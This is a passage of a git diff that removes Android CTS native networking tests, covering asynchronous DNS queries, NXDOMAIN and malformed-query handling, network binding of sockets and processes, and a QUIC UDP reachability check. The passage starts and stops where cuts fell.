-#include <inttypes.h>
-#include <jni.h>
-#include <netdb.h>
-#include <poll.h> /* poll */
-#include <resolv.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/time.h>
-
-#include <string>
-
-#include <android/log.h>
-#include <android/multinetwork.h>
-#include <nativehelper/JNIHelp.h>
-
-#define LOGD(fmt, ...) \
-        __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##__VA_ARGS__)
-
-#define EXPECT_GE(env, actual, expected, msg)                        \
-    do {                                                             \
-        if (actual < expected) {                                     \
-            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
-                    "%s:%d: %s EXPECT_GE: expected %d, got %d",      \
-                    __FILE__, __LINE__, msg, expected, actual);      \
-        }                                                            \
-    } while (0)
-
-#define EXPECT_GT(env, actual, expected, msg)                        \
-    do {                                                             \
-        if (actual <= expected) {                                    \
-            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
-                    "%s:%d: %s EXPECT_GT: expected %d, got %d",      \
-                    __FILE__, __LINE__, msg, expected, actual);      \
-        }                                                            \
-    } while (0)
-
-#define EXPECT_EQ(env, expected, actual, msg)                        \
-    do {                                                             \
-        if (actual != expected) {                                    \
-            jniThrowExceptionFmt(env, "java/lang/AssertionError",    \
-                    "%s:%d: %s EXPECT_EQ: expected %d, got %d",      \
-                    __FILE__, __LINE__, msg, expected, actual);      \
-        }                                                            \
-    } while (0)
-
-static const int MAXPACKET = 8 * 1024;
-static const int TIMEOUT_MS = 15000;
-static const char kHostname[] = "connectivitycheck.android.com";
-static const char kNxDomainName[] = "test1-nx.metric.gstatic.com";
-static const char kGoogleName[] = "www.google.com";
-
-int makeQuery(const char* name, int qtype, uint8_t* buf, size_t buflen) {
-    return res_mkquery(ns_o_query, name, ns_c_in, qtype, NULL, 0, NULL, buf, buflen);
-}
-
-int getAsyncResponse(JNIEnv* env, int fd, int timeoutMs, int* rcode, uint8_t* buf, size_t bufLen) {
-    struct pollfd wait_fd = { .fd = fd, .events = POLLIN };
-
-    poll(&wait_fd, 1, timeoutMs);
-    if (wait_fd.revents & POLLIN) {
-        int n = android_res_nresult(fd, rcode, buf, bufLen);
-        // Verify that android_res_nresult() closed the fd
-        char dummy;
-        EXPECT_EQ(env, -1, read(fd, &dummy, sizeof(dummy)), "res_nresult check for closing fd");
-        EXPECT_EQ(env, EBADF, errno, "res_nresult check for errno");
-        return n;
-    }
-
-    return -ETIMEDOUT;
-}
-
-int extractIpAddressAnswers(uint8_t* buf, size_t bufLen, int family) {
-    ns_msg handle;
-    if (ns_initparse((const uint8_t*) buf, bufLen, &handle) < 0) {
-        return -errno;
-    }
-    const int ancount = ns_msg_count(handle, ns_s_an);
-    // Answer count = 0 is valid(e.g. response of query with root)
-    if (!ancount) {
-        return 0;
-    }
-    ns_rr rr;
-    bool hasValidAns = false;
-    for (int i = 0; i < ancount; i++) {
-        if (ns_parserr(&handle, ns_s_an, i, &rr) < 0) {
-            // If there is no valid answer, test will fail.
-            continue;
-        }
-        const uint8_t* rdata = ns_rr_rdata(rr);
-        char buffer[INET6_ADDRSTRLEN];
-        if (inet_ntop(family, (const char*) rdata, buffer, sizeof(buffer)) == NULL) {
-            return -errno;
-        }
-        hasValidAns = true;
-    }
-    return hasValidAns ? 0 : -EBADMSG;
-}
-
-int expectAnswersValid(JNIEnv* env, int fd, int family, int expectedRcode) {
-    int rcode = -1;
-    uint8_t buf[MAXPACKET] = {};
-    int res = getAsyncResponse(env, fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
-    if (res < 0) {
-        return res;
-    }
-
-    EXPECT_EQ(env, expectedRcode, rcode, "rcode is not expected");
-
-    if (expectedRcode == ns_r_noerror && res > 0) {
-        return extractIpAddressAnswers(buf, res, family);
-    }
-    return 0;
-}
-
-int expectAnswersNotValid(JNIEnv* env, int fd, int expectedErrno) {
-    int rcode = -1;
-    uint8_t buf[MAXPACKET] = {};
-    int res = getAsyncResponse(env, fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
-    if (res != expectedErrno) {
-        LOGD("res:%d, expectedErrno = %d", res, expectedErrno);
-        return (res > 0) ? -EREMOTEIO : res;
-    }
-    return 0;
-}
-
-extern "C"
-JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNqueryCheck(
-        JNIEnv* env, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    // V4
-    int fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_a, 0);
-    EXPECT_GE(env, fd, 0, "v4 res_nquery");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
-            "v4 res_nquery check answers");
-
-    // V6
-    fd = android_res_nquery(handle, kHostname, ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(env, fd, 0, "v6 res_nquery");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
-            "v6 res_nquery check answers");
-}
-
-extern "C"
-JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNsendCheck(
-        JNIEnv* env, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-    // V4
-    uint8_t buf1[MAXPACKET] = {};
-
-    int len1 = makeQuery(kGoogleName, ns_t_a, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v4 res_mkquery 1st");
-
-    uint8_t buf2[MAXPACKET] = {};
-    int len2 = makeQuery(kHostname, ns_t_a, buf2, sizeof(buf2));
-    EXPECT_GT(env, len2, 0, "v4 res_mkquery 2nd");
-
-    int fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v4 res_nsend 1st");
-    int fd2 = android_res_nsend(handle, buf2, len2, 0);
-    EXPECT_GE(env, fd2, 0, "v4 res_nsend 2nd");
-
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd2, AF_INET, ns_r_noerror),
-            "v4 res_nsend 2nd check answers");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET, ns_r_noerror),
-            "v4 res_nsend 1st check answers");
-
-    // V6
-    memset(buf1, 0, sizeof(buf1));
-    memset(buf2, 0, sizeof(buf2));
-    len1 = makeQuery(kGoogleName, ns_t_aaaa, buf1, sizeof(buf1));
-    EXPECT_GT(env, len1, 0, "v6 res_mkquery 1st");
-    len2 = makeQuery(kHostname, ns_t_aaaa, buf2, sizeof(buf2));
-    EXPECT_GT(env, len2, 0, "v6 res_mkquery 2nd");
-
-    fd1 = android_res_nsend(handle, buf1, len1, 0);
-    EXPECT_GE(env, fd1, 0, "v6 res_nsend 1st");
-    fd2 = android_res_nsend(handle, buf2, len2, 0);
-    EXPECT_GE(env, fd2, 0, "v6 res_nsend 2nd");
-
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd2, AF_INET6, ns_r_noerror),
-            "v6 res_nsend 2nd check answers");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd1, AF_INET6, ns_r_noerror),
-            "v6 res_nsend 1st check answers");
-}
-
-extern "C"
-JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNnxDomainCheck(
-        JNIEnv* env, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    // res_nquery V4 NXDOMAIN
-    int fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_a, 0);
-    EXPECT_GE(env, fd, 0, "v4 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v4 res_nquery NXDOMAIN check answers");
-
-    // res_nquery V6 NXDOMAIN
-    fd = android_res_nquery(handle, kNxDomainName, ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(env, fd, 0, "v6 res_nquery NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
-            "v6 res_nquery NXDOMAIN check answers");
-
-    uint8_t buf[MAXPACKET] = {};
-    // res_nsend V4 NXDOMAIN
-    int len = makeQuery(kNxDomainName, ns_t_a, buf, sizeof(buf));
-    EXPECT_GT(env, len, 0, "v4 res_mkquery NXDOMAIN");
-    fd = android_res_nsend(handle, buf, len, 0);
-    EXPECT_GE(env, fd, 0, "v4 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
-            "v4 res_nsend NXDOMAIN check answers");
-
-    // res_nsend V6 NXDOMAIN
-    memset(buf, 0, sizeof(buf));
-    len = makeQuery(kNxDomainName, ns_t_aaaa, buf, sizeof(buf));
-    EXPECT_GT(env, len, 0, "v6 res_mkquery NXDOMAIN");
-    fd = android_res_nsend(handle, buf, len, 0);
-    EXPECT_GE(env, fd, 0, "v6 res_nsend NXDOMAIN");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
-            "v6 res_nsend NXDOMAIN check answers");
-}
-
-
-extern "C"
-JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
-        JNIEnv* env, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    int fd = android_res_nquery(handle, kGoogleName, ns_c_in, ns_t_a, 0);
-    errno = 0;
-    android_res_cancel(fd);
-    int err = errno;
-    EXPECT_EQ(env, 0, err, "res_cancel");
-    // DO NOT call cancel or result with the same fd more than once,
-    // otherwise it will hit fdsan double-close fd.
-}
-
-extern "C"
-JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
-        JNIEnv* env, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    // It is the equivalent of "dig . a", Query with an empty name.
-    int fd = android_res_nquery(handle, "", ns_c_in, ns_t_a, 0);
-    EXPECT_GE(env, fd, 0, "res_nquery root");
-    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_noerror),
-            "res_nquery root check answers");
-
-    // Label limit 63
-    std::string exceedingLabelQuery = "www." + std::string(70, 'g') + ".com";
-    // Name limit 255
-    std::string exceedingDomainQuery = "www." + std::string(255, 'g') + ".com";
-
-    fd = android_res_nquery(handle, exceedingLabelQuery.c_str(), ns_c_in, ns_t_a, 0);
-    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nquery exceedingLabelQuery");
-    fd = android_res_nquery(handle, exceedingDomainQuery.c_str(), ns_c_in, ns_t_aaaa, 0);
-    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nquery exceedingDomainQuery");
-
-    uint8_t buf[10] = {};
-    // empty BLOB
-    fd = android_res_nsend(handle, buf, 10, 0);
-    EXPECT_GE(env, fd, 0, "res_nsend empty BLOB");
-    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
-            "res_nsend empty BLOB check answers");
-
-    uint8_t largeBuf[2 * MAXPACKET] = {};
-    // A buffer larger than 8KB
-    fd = android_res_nsend(handle, largeBuf, sizeof(largeBuf), 0);
-    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend buffer larger than 8KB");
-
-    // 5000 bytes filled with 0. This returns EMSGSIZE because FrameworkListener limits the size of
-    // commands to 4096 bytes.
-    fd = android_res_nsend(handle, largeBuf, 5000, 0);
-    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend 5000 bytes filled with 0");
-
-    // 500 bytes filled with 0
-    fd = android_res_nsend(handle, largeBuf, 500, 0);
-    EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0");
-    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
-            "res_nsend 500 bytes filled with 0 check answers");
-
-    // 5000 bytes filled with 0xFF
-    uint8_t ffBuf[5001] = {};
-    memset(ffBuf, 0xFF, sizeof(ffBuf));
-    ffBuf[5000] = '\0';
-    fd = android_res_nsend(handle, ffBuf, sizeof(ffBuf), 0);
-    EXPECT_EQ(env, -EMSGSIZE, fd, "res_nsend 5000 bytes filled with 0xFF");
-
-    // 500 bytes filled with 0xFF
-    ffBuf[500] = '\0';
-    fd = android_res_nsend(handle, ffBuf, 501, 0);
-    EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0xFF");
-    EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
-            "res_nsend 500 bytes filled with 0xFF check answers");
-}
-
-extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runGetaddrinfoCheck(
-        JNIEnv*, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-    struct addrinfo *res = NULL;
-
-    errno = 0;
-    int rval = android_getaddrinfofornetwork(handle, kHostname, NULL, NULL, &res);
-    const int saved_errno = errno;
-    freeaddrinfo(res);
-
-    LOGD("android_getaddrinfofornetwork(%" PRIu64 ", %s) returned rval=%d errno=%d",
-          handle, kHostname, rval, saved_errno);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetprocnetwork(
-        JNIEnv*, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    errno = 0;
-    int rval = android_setprocnetwork(handle);
-    const int saved_errno = errno;
-    LOGD("android_setprocnetwork(%" PRIu64 ") returned rval=%d errno=%d",
-          handle, rval, saved_errno);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runSetsocknetwork(
-        JNIEnv*, jclass, jlong nethandle) {
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    errno = 0;
-    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
-    if (fd < 0) {
-        LOGD("socket() failed, errno=%d", errno);
-        return -errno;
-    }
-
-    errno = 0;
-    int rval = android_setsocknetwork(handle, fd);
-    const int saved_errno = errno;
-    LOGD("android_setprocnetwork(%" PRIu64 ", %d) returned rval=%d errno=%d",
-          handle, fd, rval, saved_errno);
-    close(fd);
-    return rval == 0 ? 0 : -saved_errno;
-}
-
-// Use sizeof("x") - 1 because we need a compile-time constant, and strlen("x")
-// isn't guaranteed to fold to a constant.
-static const int kSockaddrStrLen = INET6_ADDRSTRLEN + sizeof("[]:65535") - 1;
-
-void sockaddr_ntop(const struct sockaddr *sa, socklen_t salen, char *dst, const size_t size) {
-    char addrstr[INET6_ADDRSTRLEN];
-    char portstr[sizeof("65535")];
-    char buf[kSockaddrStrLen+1];
-
-    int ret = getnameinfo(sa, salen,
-                          addrstr, sizeof(addrstr),
-                          portstr, sizeof(portstr),
-                          NI_NUMERICHOST | NI_NUMERICSERV);
-    if (ret == 0) {
-        snprintf(buf, sizeof(buf),
-                 (sa->sa_family == AF_INET6) ? "[%s]:%s" : "%s:%s",
-                 addrstr, portstr);
-    } else {
-        sprintf(buf, "???");
-    }
-
-    strlcpy(dst, buf, size);
-}
-
-extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runDatagramCheck(
-        JNIEnv*, jclass, jlong nethandle) {
-    const struct addrinfo kHints = {
-        .ai_flags = AI_ADDRCONFIG,
-        .ai_family = AF_UNSPEC,
-        .ai_socktype = SOCK_DGRAM,
-        .ai_protocol = IPPROTO_UDP,
-    };
-    struct addrinfo *res = NULL;
-    net_handle_t handle = (net_handle_t) nethandle;
-
-    static const char kPort[] = "443";
-    int rval = android_getaddrinfofornetwork(handle, kHostname, kPort, &kHints, &res);
-    if (rval != 0) {
-        LOGD("android_getaddrinfofornetwork(%llu, %s) returned rval=%d errno=%d",
-              handle, kHostname, rval, errno);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    // Rely upon getaddrinfo sorting the best destination to the front.
-    int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
-    if (fd < 0) {
-        LOGD("socket(%d, %d, %d) failed, errno=%d",
-              res->ai_family, res->ai_socktype, res->ai_protocol, errno);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    rval = android_setsocknetwork(handle, fd);
-    LOGD("android_setprocnetwork(%llu, %d) returned rval=%d errno=%d",
-          handle, fd, rval, errno);
-    if (rval != 0) {
-        close(fd);
-        freeaddrinfo(res);
-        return -errno;
-    }
-
-    char addrstr[kSockaddrStrLen+1];
-    sockaddr_ntop(res->ai_addr, res->ai_addrlen, addrstr, sizeof(addrstr));
-    LOGD("Attempting connect() to %s ...", addrstr);
-
-    rval = connect(fd, res->ai_addr, res->ai_addrlen);
-    if (rval != 0) {
-        close(fd);
-        freeaddrinfo(res);
-        return -errno;
-    }
-    freeaddrinfo(res);
-
-    struct sockaddr_storage src_addr;
-    socklen_t src_addrlen = sizeof(src_addr);
-    if (getsockname(fd, (struct sockaddr *)&src_addr, &src_addrlen) != 0) {
-        close(fd);
-        return -errno;
-    }
-    sockaddr_ntop((const struct sockaddr *)&src_addr, sizeof(src_addr), addrstr, sizeof(addrstr));
-    LOGD("... from %s", addrstr);
-
-    // Don't let reads or writes block indefinitely.
-    const struct timeval timeo = { 2, 0 };  // 2 seconds
-    setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeo, sizeof(timeo));
-    setsockopt(fd, SOL_SOCKET, SO_SNDTIMEO, &timeo, sizeof(timeo));
-
-    // For reference see:
-    //     https://datatracker.ietf.org/doc/html/draft-ietf-quic-invariants
-    uint8_t quic_packet[1200] = {
-        0xc0,                    // long header
-        0xaa, 0xda, 0xca, 0xca,  // reserved-space version number
-        0x08,                    // destination connection ID length
-        0, 0, 0, 0, 0, 0, 0, 0,  // 64bit connection ID
-        0x00,                    // source connection ID length
-    };
-
-    arc4random_buf(quic_packet + 6, 8);  // random connection ID
-
-    uint8_t response[1500];
-    ssize_t sent, rcvd;
-    static const int MAX_RETRIES = 5;
-    int i, errnum = 0;
-
-    for (i = 0; i < MAX_RETRIES; i++) {
-        sent = send(fd, quic_packet, sizeof(quic_packet), 0);
-        if (sent < (ssize_t)sizeof(quic_packet)) {
-            errnum = errno;
-            LOGD("send(QUIC packet) returned sent=%zd, errno=%d", sent, errnum);
-            close(fd);
-            return -errnum;
-        }
-
-        rcvd = recv(fd, response, sizeof(response), 0);
-        if (rcvd > 0) {
-            break;
-        } else {
-            errnum = errno;
-            LOGD("[%d/%d] recv(QUIC response) returned rcvd=%zd, errno=%d",
-                  i + 1, MAX_RETRIES, rcvd, errnum);
-        }
-    }
-    if (rcvd < 15) {
-        LOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
-        if (rcvd <= 0) {
-            LOGD("Does this network block UDP port %s?", kPort);
-        }
-        close(fd);
-        return -EPROTO;
-    }
-
-    int conn_id_cmp = memcmp(quic_packet + 6, response + 7, 8);
-    if (conn_id_cmp != 0) {
-        LOGD("sent and received connection IDs do not match");
-        close(fd);
-        return -EPROTO;
-    }
-
-    // TODO: Replace this quick 'n' dirty test with proper QUIC-capable code.
-
-    close(fd);
-    return 0;
-}
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
deleted file mode 100644
index 1704a2b..0000000
--- a/tests/tests/net/native/dns/Android.bp
+++ /dev/null
@@ -1,40 +0,0 @@
-cc_defaults {
-    name: "dns_async_defaults",
-
-    cflags: [
-        "-fstack-protector-all",
-        "-g",
-        "-Wall",
-        "-Wextra",
-        "-Werror",
-        "-Wnullable-to-nonnull-conversion",
-        "-Wsign-compare",
-        "-Wthread-safety",
-        "-Wunused-parameter",
-    ],
-    srcs: [
-        "NativeDnsAsyncTest.cpp",
-    ],
-    shared_libs: [
-        "libandroid",
-        "liblog",
-        "libutils",
-    ],
-}
-
-cc_test {
-    name: "CtsNativeNetDnsTestCases",
-    defaults: ["dns_async_defaults"],
-    multilib: {
-        lib32: {
-            suffix: "32",
-        },
-        lib64: {
-            suffix: "64",
-        },
-    },
-    test_suites: [
-        "cts",
-        "mts",
-    ],
-}
diff --git a/tests/tests/net/native/dns/AndroidTest.xml b/tests/tests/net/native/dns/AndroidTest.xml
deleted file mode 100644
index 6d03c23..0000000
--- a/tests/tests/net/native/dns/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Native Network dns test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CtsNativeNetDnsTestCases->/data/local/tmp/CtsNativeNetDnsTestCases" />
-        <option name="append-bitness" value="true" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.GTest" >
-        <option name="native-test-device-path" value="/data/local/tmp" />
-        <option name="module-name" value="CtsNativeNetDnsTestCases" />
-        <option name="runtime-hint" value="1m" />
-    </test>
-</configuration>
diff --git a/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp b/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp
deleted file mode 100644
index e501475..0000000
--- a/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp
+++ /dev/null
@@ -1,257 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <arpa/inet.h>
-#include <arpa/nameser.h>
-#include <error.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <inttypes.h>
-#include <netinet/in.h>
-#include <poll.h> /* poll */
-#include <resolv.h>
-#include <string.h>
-#include <sys/socket.h>
-
-#include <android/multinetwork.h>
-#include <gtest/gtest.h>
-
-namespace {
-constexpr int MAXPACKET = 8 * 1024;
-constexpr int PTON_MAX = 16;
-constexpr int TIMEOUT_MS = 10000;
-
-int getAsyncResponse(int fd, int timeoutMs, int* rcode, uint8_t* buf, size_t bufLen) {
-    struct pollfd wait_fd[1];
-    wait_fd[0].fd = fd;
-    wait_fd[0].events = POLLIN;
-    short revents;
-    int ret;
-    ret = poll(wait_fd, 1, timeoutMs);
-    revents = wait_fd[0].revents;
-    if (revents & POLLIN) {
-        int n = android_res_nresult(fd, rcode, buf, bufLen);
-        // Verify that android_res_nresult() closed the fd
-        char dummy;
-        EXPECT_EQ(-1, read(fd, &dummy, sizeof dummy));
-        EXPECT_EQ(EBADF, errno);
-        return n;
-    }
-
-    return -1;
-}
-
-std::vector<std::string> extractIpAddressAnswers(uint8_t* buf, size_t bufLen, int ipType) {
-    ns_msg handle;
-    if (ns_initparse((const uint8_t*) buf, bufLen, &handle) < 0) {
-        return {};
-    }
-    const int ancount = ns_msg_count(handle, ns_s_an);
-    ns_rr rr;
-    std::vector<std::string> answers;
-    for (int i = 0; i < ancount; i++) {
-        if (ns_parserr(&handle, ns_s_an, i, &rr) < 0) {
-            continue;
-        }
-        const uint8_t* rdata = ns_rr_rdata(rr);
-        char buffer[INET6_ADDRSTRLEN];
-        if (inet_ntop(ipType, (const char*) rdata, buffer, sizeof(buffer))) {
-            answers.push_back(buffer);
-        }
-    }
-    return answers;
-}
-
-void expectAnswersValid(int fd, int ipType, int expectedRcode) {
-    int rcode = -1;
-    uint8_t buf[MAXPACKET] = {};
-    int res = getAsyncResponse(fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
-    EXPECT_GE(res, 0);
-    EXPECT_EQ(rcode, expectedRcode);
-
-    if (expectedRcode == ns_r_noerror) {
-        auto answers = extractIpAddressAnswers(buf, res, ipType);
-        EXPECT_GE(answers.size(), 0U);
-        for (auto &answer : answers) {
-            char pton[PTON_MAX];
-            EXPECT_EQ(1, inet_pton(ipType, answer.c_str(), pton));
-        }
-    }
-}
-
-void expectAnswersNotValid(int fd, int expectedErrno) {
-    int rcode = -1;
-    uint8_t buf[MAXPACKET] = {};
-    int res = getAsyncResponse(fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
-    EXPECT_EQ(expectedErrno, res);
-}
-
-} // namespace
-
-TEST (NativeDnsAsyncTest, Async_Query) {
-    // V4
-    int fd1 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_a, 0);
-    EXPECT_GE(fd1, 0);
-    int fd2 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "www.youtube.com", ns_c_in, ns_t_a, 0);
-    EXPECT_GE(fd2, 0);
-    expectAnswersValid(fd2, AF_INET, ns_r_noerror);
-    expectAnswersValid(fd1, AF_INET, ns_r_noerror);
-
-    // V6
-    fd1 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(fd1, 0);
-    fd2 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "www.youtube.com", ns_c_in, ns_t_aaaa, 0);
-    EXPECT_GE(fd2, 0);
-    expectAnswersValid(fd2, AF_INET6, ns_r_noerror);
-    expectAnswersValid(fd1, AF_INET6, ns_r_noerror);
-}
-
-TEST (NativeDnsAsyncTest, Async_Send) {
-    // V4
-    uint8_t buf1[MAXPACKET] = {};
-    int len1 = res_mkquery(ns_o_query, "www.googleapis.com",
-            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf1, sizeof(buf1));
-    EXPECT_GT(len1, 0);
-
-    uint8_t buf2[MAXPACKET] = {};
-    int len2 = res_mkquery(ns_o_query, "play.googleapis.com",
-            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf2, sizeof(buf2));
-    EXPECT_GT(len2, 0);
-
-    int fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf1, len1, 0);
-    EXPECT_GE(fd1, 0);
-    int fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf2, len2, 0);
-    EXPECT_GE(fd2, 0);
-
-    expectAnswersValid(fd2, AF_INET, ns_r_noerror);
-    expectAnswersValid(fd1, AF_INET, ns_r_noerror);
-
-    // V6
-    memset(buf1, 0, sizeof(buf1));
-    memset(buf2, 0, sizeof(buf2));
-    len1 = res_mkquery(ns_o_query, "www.googleapis.com",
-            ns_c_in, ns_t_aaaa, nullptr, 0, nullptr, buf1, sizeof(buf1));
-    EXPECT_GT(len1, 0);
-    len2 = res_mkquery(ns_o_query, "play.googleapis.com",
-            ns_c_in, ns_t_aaaa, nullptr, 0, nullptr, buf2, sizeof(buf2));
-    EXPECT_GT(len2, 0);
-
-    fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf1, len1, 0);
-    EXPECT_GE(fd1, 0);
-    fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf2, len2, 0);
-    EXPECT_GE(fd2, 0);
-
-    expectAnswersValid(fd2, AF_INET6, ns_r_noerror);
-    expectAnswersValid(fd1, AF_INET6, ns_r_noerror);
-}
-
-TEST (NativeDnsAsyncTest, Async_NXDOMAIN) {
-    uint8_t buf[MAXPACKET] = {};
-    int len = res_mkquery(ns_o_query, "test1-nx.metric.gstatic.com",
-            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
-    EXPECT_GT(len, 0);
-    int fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf, len, ANDROID_RESOLV_NO_CACHE_LOOKUP);
-    EXPECT_GE(fd1, 0);
-
-    len = res_mkquery(ns_o_query, "test2-nx.metric.gstatic.com",
-            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
-    EXPECT_GT(len, 0);
-    int fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf, len, ANDROID_RESOLV_NO_CACHE_LOOKUP);
-    EXPECT_GE(fd2, 0);
-
-    expectAnswersValid(fd2, AF_INET, ns_r_nxdomain);
-    expectAnswersValid(fd1, AF_INET, ns_r_nxdomain);
-
-    fd1 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "test3-nx.metric.gstatic.com",
-            ns_c_in, ns_t_aaaa, ANDROID_RESOLV_NO_CACHE_LOOKUP);
-    EXPECT_GE(fd1, 0);
-    fd2 = android_res_nquery(
-            NETWORK_UNSPECIFIED, "test4-nx.metric.gstatic.com",
-            ns_c_in, ns_t_aaaa, ANDROID_RESOLV_NO_CACHE_LOOKUP);
-    EXPECT_GE(fd2, 0);
-    expectAnswersValid(fd2, AF_INET6, ns_r_nxdomain);
-    expectAnswersValid(fd1, AF_INET6, ns_r_nxdomain);
-}
-
-TEST (NativeDnsAsyncTest, Async_Cancel) {
-    int fd = android_res_nquery(
-            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_a, 0);
-    errno = 0;
-    android_res_cancel(fd);
-    int err = errno;
-    EXPECT_EQ(err, 0);
-    // DO NOT call cancel or result with the same fd more than once,
-    // otherwise it will hit fdsan double-close fd.
-}
-
-TEST (NativeDnsAsyncTest, Async_Query_MALFORMED) {
